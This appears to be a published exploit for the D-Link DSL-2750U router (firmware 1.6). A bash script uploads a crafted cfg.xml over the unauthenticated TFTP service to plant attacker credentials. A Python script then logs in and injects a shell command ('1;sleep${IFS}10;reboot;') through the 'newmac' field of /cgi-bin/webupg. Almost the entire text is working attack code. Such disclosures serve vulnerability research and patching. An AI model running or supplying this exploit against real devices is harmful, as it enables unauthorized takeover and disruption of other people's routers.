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109 lines
No EOL
3.2 KiB
Text
109 lines
No EOL
3.2 KiB
Text
# Exploit Title: Dlink DSL2750U - 'Reboot' Command Injection
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# Date: 17-06-2021
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# Exploit Author: Mohammed Hadi (HadiMed)
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# Vendor Homepage: https://me.dlink.com/consumer
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# Software Link: https://dlinkmea.com/index.php/product/details?det=c0lvN0JoeVVhSXh4TVhjTnd1OUpUUT09 Version: ME_1.16
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# Tested on: firmware GAN9.ET235B-B-DL-DSL2750U-R5B028-ME.EN_2T2R*
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# https://github.com/HadiMed/firmware-analysis/tree/main/DSL-2750U%20(firmware%20version%201.6)
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###
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#!/bin/bash
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# Exploit by HadiMed
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# Takes advantage of the tftp server that accepts the cfg file blindly
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echo -ne "\n"
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echo "Exploiting Dlink DSL-2750u version 1.6"
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echo -ne "\n\n"
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# Sending the payload
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echo -ne "binary\nput cfg.xml\nquit" | tftp 192.168.1.1
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echo -ne "\n"
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echo "File uploaded Successfully"
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echo "Waiting for router to restart"
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sleep 180 # approximate time for router to restart
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python3 exploit.py
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###
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import requests
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# HTTP request looks like this
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'''
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POST /cgi-bin/webproc HTTP/1.1
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Host: 192.168.1.1
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Content-Length: 175
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Cache-Control: max-age=0
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Upgrade-Insecure-Requests: 1
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Origin: http://192.168.1.1
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Content-Type: application/x-www-form-urlencoded
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
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Referer: http://192.168.1.1/cgi-bin/webproc
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Accept-Encoding: gzip, deflate
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Accept-Language: en-US,en;q=0.9
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Cookie: sessionid=deadbeef; language=en_us; sys_UserName=user; sessionid=634cdf91
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Connection: close
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getpage=html%2Findex.html&errorpage=html%2Fmain.html&var%3Amenu=setup&var%3Apage=wizard&obj-action=auth&%3Ausername=user&%3Apassword=user&%3Aaction=login&%3Asessionid=634cdf91
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'''
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# 1 Getting a session id
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# password and username crafted by me on the cfg.xml file
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username = "pwned"
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password= "pwned"
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# acually the client set the sessionid in condition that the password and username are correct
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Cookie="sessionid=deadbeef; language=en_us; sys_UserName=pwned; sessionid=deadbeef"
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Contentty="application/x-www-form-urlencoded"
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Referer="http://192.168.1.1/cgi-bin/webproc"
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Contentlen="175"
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# Sending first request to set our session id
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response = requests.post("http://192.168.1.1/cgi-bin/webproc",
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headers={"Cookie":Cookie , "Content-Type":Contentty , "Referer":Referer , "Content-Length":Contentlen }
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,
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data={ "getpage":"html/index.html",
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"errorpage":"html/main.html",
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"var:menu" : "setup",
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"var:page":"wizard",
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"obj-action":"auth",
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":username":username,
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":password":password,
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":action":"login",
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":sessionid":"deadbeef"
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}
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)
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Referer = "http://192.168.1.1/cgi-bin/webupg"
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name = "mac"
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cmd = "1;sleep${IFS}10;reboot;"
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Contentlen = str(len(name+cmd)+10)
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if response.status_code==302:
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print("got sessionid=deadbeef !\n waiting for the reverse shell ...")
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# access cgi-bin/webupg
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try :
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response = requests.post("http://192.168.1.1/cgi-bin/webupg",
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headers={"Cookie":Cookie , "Content-Type":Contentty , "Referer":Referer , "Content-Length":Contentlen }
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,data = {"name":name , "newmac":cmd} , timeout=0.0000000001
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)
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except requests.exceptions.Timeout :
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print("done router will restart in 20 sec")
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print("Device restarted!") |